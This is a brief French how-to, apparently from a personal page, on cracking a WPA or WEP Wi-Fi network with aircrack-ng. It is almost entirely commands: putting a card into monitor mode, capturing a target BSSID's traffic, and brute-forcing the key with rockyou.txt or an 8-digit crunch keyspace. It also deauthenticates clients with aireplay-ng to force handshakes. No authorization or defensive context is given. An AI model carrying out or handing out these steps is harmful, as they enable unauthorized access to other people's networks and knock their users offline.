Cracker un réseau sans fils WPA

Installer aircrack-ng et crunch

apt-get install aircrack-ng crunch

lancer airmon-ng pour voir le nom de votre carte

airmon-ng

démarrer airmon-ng sur la carte trouvée

airmon-ng start wlan0 (wlan0 représente l'interface affichée par la commande précédente)

Quelques processus sont détectés alors les tuer en lançant 2 ou 3 fois la commande suivante

airmon-ng check kill (va vérifier et tuer tous les processus nécessaires à l'exécution de la commande)

airmon-ng start wlan0(relancer cette commande à nouveau quand on a l'assurance que les processus sont tués le nom de la carte peut avoir changé et il faut la vérifier avec la commande suivante)

airmon-ng (relancer cette commande à nouveau pour voir l'interface de monitoring)

airodump-ng mon0 (lancer airodump pour mettre la carte en mode monitoring)

airodump-ng --bssid 00:09:5B:6F:64:1E -c 11 -w fichier mon0 (écouter le trafic et l'enregistrer dans un fichier avec l'option -w et si vous avez assez de données arrêter l'écoute et passer au crack)

aircrack-ng fichier-01.cap (Si la clé est wep cette commande suiffira sinon)

```
aircrack-ng -a2 -b Adresse_MAC -w rockyou.txt fichier.cap (chercher la clé avec un fichier dictionnaire si la clé est WPA)
Utiliser Crunck pour générer automatiquement la clé comme suit
crunch 8 8 0123456789 |aircrack-ng -e SSID -w - fichier-01.cap
```

```
à l'étape de l'écoute on peut utiliser de-authenticate pour déconnecter les clients et les laisser se reconnecter(avec la commande suivante dans un autre terminal histoire d'accélérer la collecte des données)
```

aireplay-ng --deauth 10 -a Mac mon_interface